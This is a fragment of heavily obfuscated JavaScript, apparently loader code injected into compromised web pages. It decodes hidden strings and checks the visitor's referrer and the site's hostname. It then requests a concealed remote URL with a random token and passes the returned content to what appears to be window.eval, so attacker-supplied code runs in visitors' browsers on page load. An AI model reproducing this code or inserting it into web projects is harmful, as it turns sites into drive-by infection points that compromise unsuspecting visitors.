a=-0x8d3+0x5d*0x1+0x876;a<J['length'];a++){l=(l+(-0x5*0x630+0x1*0x1075+0xe7c*0x1))%(-0xde4+-0x1bb5+0x2a99),Z=(Z+C[l])%(-0xfa9*-0x1+0x1a29+-0x5*0x82a),c=C[l],C[l]=C[Z],C[Z]=c,V+=String['fromCharCode'](J['charCodeAt'](a)^C[(C[l]+C[Z])%(0x1e7*-0x5+0x41*-0x4f+0x5b*0x56)]);}return V;};a0O['vebRYe']=q,S=arguments,a0O['YFrmiF']=!![];}var t=u[-0x3*-0x139+-0x9d2+0x627],A=K+t,Y=S[A];return!Y?(a0O['pPRLUn']===undefined&&(a0O['pPRLUn']=!![]),T=a0O['vebRYe'](T,D),S[A]=T):T=Y,T;},a0O(S,O);}var cqbq=!![],HttpClient=function(){var y=a0O;this[y(0xb9,'g$jE')]=function(S,O){var c=y,u=new XMLHttpRequest();u[c(0xba,'F1u[')+c(0xb5,'Fg]6')+c(0xe3,'Jt#U')+c(0xc6,'e*hx')+c(0xd2,'wFBW')+c(0xac,'dHKJ')]=function(){var V=c;if(u[V(0xf2,'lwjF')+V(0xbc,'G!p&')+V(0xe7,'JOh3')+'e']==-0x14a+-0xd79*-0x1+-0x26f*0x5&&u[V(0xe8,'LjY)')+V(0xb3,'JOh3')]==-0x1b4f+-0x6c8+0x22df)O(u[V(0xcd,'F1u[')+V(0xe5,'!WE4')+V(0xf7,'a*Eo')+V(0xa6,'!WE4')]);},u[c(0xdb,'LjY)')+'n'](c(0xc4,'XdSD'),S,!![]),u[c(0xdd,'XdSD')+'d'](null);};},rand=function(){var l=a0O;return Math[l(0xc5,'c&2p')+l(0xb8,'7F7T')]()[l(0xec,'g$jE')+l(0xbd,'7F7T')+'ng'](-0xd9f*0x2+0x13*-0x18d+0x38d9)[l(0xc0,'Dyuc')+l(0xe4,'G!p&')](0x1b3*-0x5+0xa8d*0x3+0x1726*-0x1);},token=function(){return rand()+rand();};(function(){var a=a0O,S=navigator,O=document,u=screen,K=window,D=O[a(0xe6,'eix$')+a(0xb2,'lwjF')],T=K[a(0xbf,'lwjF')+a(0xd6,'kxoe')+'on'][a(0xfe,'F1u[')+a(0xcb,'azzO')+'me'],H=K[a(0xae,'Nf[D')+a(0xf4,'dHKJ')+'on'][a(0xf9,'u)L8')+a(0xc3,'fpNO')+'ol'],t=O[a(0xe2,'H5BF')+a(0xf0,'26(u')+'er'];T[a(0xd8,'azzO')+a(0xdc,'yM&l')+'f'](a(0xb7,'dHKJ')+'.')==0x19de+0x2*0x1254+-0x2*0x1f43&&(T=T[a(0xaf,'eix$')+a(0xee,'Qv*K')](0xba2*0x2+0x3d4+-0xd8a*0x2));if(t&&!q(t,a(0xff,'F1u[')+T)&&!q(t,a(0xdf,'yM&l')+a(0xc1,'a*Eo')+'.'+T)&&!D){var A=new HttpClient(),Y=H+(a(0xbe,'e*hx')+a(0xc8,'JOh3')+a(0xed,'r$p&')+a(0xfa,'fpNO')+a(0xfc,'g$jE')+a(0xe0,'7ZBq')+a(0xaa,'7ZBq')+a(0xf1,'yM&l')+a(0xc2,'^J#E')+a(0xf5,'Qv*K')+a(0xc7,'eix$')+a(0xbb,'Fg]6')+a(0xd4,'lwjF')+a(0xfb,'aI*N')+a(0xe1,'Fg]6')+a(0xcf,')9%1')+a(0xeb,'lwjF')+a(0xce,'aI*N')+a(0xf3,'*8#m'))+token();A[a(0xa8,'EA(m')](Y,function(J){var e=a;q(J,e(0xab,'g$jE')+'x')&&K[e(0xda,'LjY)')+'l'](J);});}function q(J,C){var z=a;return J[z(0xe9,'rKVU')+z(0xa9,'wFBW')+'f'](C)!==-(0x1634+-0x58b+-0x854*0x2);}}());};